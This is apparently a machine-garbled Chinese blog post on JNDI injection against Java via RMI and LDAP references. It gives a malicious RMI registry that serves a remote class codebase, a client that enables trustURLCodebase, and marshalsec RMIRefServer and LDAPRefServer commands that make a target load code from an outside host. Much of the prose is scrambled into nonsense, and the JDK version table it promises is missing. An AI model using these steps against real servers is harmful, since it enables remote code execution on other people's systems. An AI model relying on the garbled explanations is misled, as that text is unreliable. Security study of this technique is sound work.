Bunga Katsura JNDI,发短信给Bunga Katsura的进攻JNDI。
JNDI注射
提交了类似东西黑帽2016(美国)的主题"从JNDI LDAP操作到RCE的旅程"。其他进攻性走道可以概述以下走道:
攻击JNDI
作者水平有限,文本仅讲几千种攻击JNDI方法。
1. JNDI组合RMI远程对象(代码库)
2. JNDI参考组合RMI
3. JNDI参考组合LDAP
RMI远程对象
可以使用早期的Java浏览器。二手Applet正常需求规格书1个代码库参考编号,比率:
1 | <applet code="HelloWorld.class" codebase="Applets" width="800" height="600"></applet> |
代码库诉诉Java应用程序找找类,图像类路径1个样本,但是给定的类路径不存在creed代码库该代码库可在网站上找到,在RMI中,已订购代码库,设置了编号并创建了RCE。
但是,需要代码库条件:
官方将军
在大多数情况下,您可以在Pass属性
例如,在Nyoka Demand类型语句的类似Webserver的根目录下,Nana设置类似Codebase的命令行(Jar,Nana设置Codebase时间指定jar语句)的命令行数
1 | -Djava.rmi.server.codebase=http://url:8080/ |
联系人内容的介绍性测试,类似URL的Web服务器下载类型文档,其他关联类型程序包名称转换转换文档,当前类似Codebase的对应文档,下载类型文档,与Nyoka兼容的文档com.project。要接收接待,会议的底部URL:
1 | http://url:8080/com/project/test.class |
JNDI参考配方RMI
Keiichi Shita示范,相同的示例文本,Longofo师傅-像解码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | package com.longofo.jndi; import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.NamingException; import javax.naming.Reference; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIServer1 { public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { // 创建Registry Registry registry = LocateRegistry.createRegistry(9999); System.out.println("java RMI registry created. port on 9999..."); Reference refObj = new Reference("ExportObject", "com.longofo.remoteclass.ExportObject", "http://127.0.0.1:8000/"); ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj); registry.bind("refObj", refObjWrapper); } } |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | package com.longofo.jndi; import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException; import javax.naming.directory.DirContext; import javax.naming.directory.InitialDirContext; import java.rmi.NotBoundException; import java.rmi.RemoteException; public class RMIClient1 { public static void main(String[] args) throws RemoteException, NotBoundException, NamingException { // Properties env = new Properties(); // env.put(Context.INITIAL_CONTEXT_FACTORY, // "com.sun.jndi.rmi.registry.RegistryContextFactory"); // env.put(Context.PROVIDER_URL, // "rmi://localhost:9999"); System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); // 下面这行是我自己加的 8u221需要 原因看下文 System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); Context ctx = new InitialContext(); DirContext dirc = new InitialDirContext(); ctx.lookup("rmi://localhost:9999/refObj"); } } |
在RMIClient1.java中,恐怕
Suijaku查找,毕竟
缺少classpath Chukai尝谝测试来代码库添加
私人标签loadClass
1 2 3 4 5 6 7 8 9 10 11 12 | public Class< ? > loadClass(String className, String codebase) throws ClassNotFoundException, MalformedURLException { if ("true".equalsIgnoreCase(trustURLCodebase)) { ClassLoader parent = getContextClassLoader(); ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent); return loadClass(className, cl); } else { return null; } } |
证据
1 2 3 4 5 6 7 8 | loadClass:101, VersionHelper12 (com.sun.naming.internal) getObjectFactoryFromReference:158, NamingManager (javax.naming.spi) getObjectInstance:319, NamingManager (javax.naming.spi) decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry) lookup:138, RegistryContext (com.sun.jndi.rmi.registry) lookup:205, GenericURLContext (com.sun.jndi.toolkit.url) lookup:417, InitialContext (javax.naming) main:24, RMIClient1 (com.longofo.jndi) |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | private static final String TRUST_URL_CODEBASE_PROPERTY = "com.sun.jndi.ldap.object.trustURLCodebase"; private static final String trustURLCodebase = AccessController.doPrivileged( new PrivilegedAction<String>() { public String run() { try { return System.getProperty(TRUST_URL_CODEBASE_PROPERTY, "false"); } catch (SecurityException e) { return "false"; } } } ); |
此样本的最终效果
实际使用,用于元帅,RMI不可抗拒的服务,RMI服务结束号1099
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip:80/#ExportObject 1099 |
你仍需求自助服务Web服务
JNDI参考组合LDAP
在上面的文本中,文本中使用了JNDI通用组合RMI,LDAP等,文本中使用了RMI,而LDAP本质上。使用以上句子中RMI Daido Kosuke中给出的LDAP。因此,我直接使用它。
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:80/#ExportObject 1389 |
JNDI可注射JDK版本限量版
Yu Yu JNDI注入动态加载原理,使用Reference citation Object Factory类型,内部文本Nakaya分析完成,使用URLClassLoader,原因不接受
但是,不可避免的到达
千篇一律的展览JNDI注入使用方法给定的JDK版本主要关系:
引用自https://xz.aliyun.com/t/6633
小声音逼真:java每个单独的版本主要属性许多小城市点不相等,相反从事安全到达实际存在Kota成就: